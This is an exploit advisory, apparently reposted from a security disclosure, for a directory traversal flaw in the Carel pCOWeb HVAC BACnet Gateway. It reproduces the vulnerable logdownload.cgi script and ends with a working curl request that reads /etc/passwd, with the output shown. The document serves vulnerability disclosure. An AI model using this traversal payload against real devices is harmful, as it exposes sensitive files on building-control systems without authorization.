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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal
# Exploit Author: LiquidWorm


Vendor: CAREL INDUSTRIES S.p.A.
Product web page: https://www.carel.com
Affected version: Firmware: A2.1.0 - B2.1.0
                  Application Software: 2.15.4A
                  Software version: v16 13020200

Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R
applications and systems. It consists of programmable controllers, user interfaces,
gateways and communication interfaces, remote management systems to offer the OEMs
working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced
to the more widely-used Building Management Systems, and can also be integrated into
proprietary supervisory systems.

Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script
is not properly verified before being used to download log files. This can be exploited
to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

=======================================================================================
/usr/local/www/usr-cgi/logdownload.cgi:
---------------------------------------

01: #!/bin/bash
02:
03: if [ "$REQUEST_METHOD" = "POST" ]; then
04:         read QUERY_STRING
05:         REQUEST_METHOD=GET
06:         export REQUEST_METHOD
07:         export QUERY_STRING
08: fi
09:
10: LOGDIR="/usr/local/root/flash/http/log"
11:
12: tmp=${QUERY_STRING%"$"*}
13: cmd=${tmp%"="*}
14: if [ "$cmd" = "dir" ]; then
15:         PATHCURRENT=$LOGDIR/${tmp#*"="}
16: else
17:         PATHCURRENT=$LOGDIR
18: fi
19:
20: tmp=${QUERY_STRING#*"$"}
21: cmd=${tmp%"="*}
22: if [ "$cmd" = "file" ]; then
23:         FILECURRENT=${tmp#*"="}
24: else
25:         if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
26:                 FILECURRENT=lastlog.csv.gz
27:         else
28:                 FILECURRENT=lastlog.csv
29:         fi
30: fi
31:
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
33:         echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
34:         cat carel.inc.html
35:         echo "<center>File not available!</center>"
36:         cat carel.bottom.html
37:         exit
38: fi
39:
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
41:         if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
42:                 if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
43:                         echo -ne "Content-Type: text/csv\r\n"
44:                 else
45:                         echo -ne "Content-Type: image/svg+xml\r\n"
46:                 fi
47:         else
48:                 echo -ne "Content-Type: image/bmp\r\n"
49:         fi
50: else
51:         echo -ne "Content-Type: application/x-gzip\r\n"
52: fi
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
54:
55: cat $PATHCURRENT/$FILECURRENT

=======================================================================================

Tested on: GNU/Linux 4.11.12 (armv7l)
           thttpd/2.29


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5709
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php


10.05.2022

--


$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
guest:x:502:101::/home/guest:/bin/bash
carel:x:500:500:Carel:/home/carel:/bin/bash
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
sshd:x:1000:1001:SSH drop priv user:/:/bin/false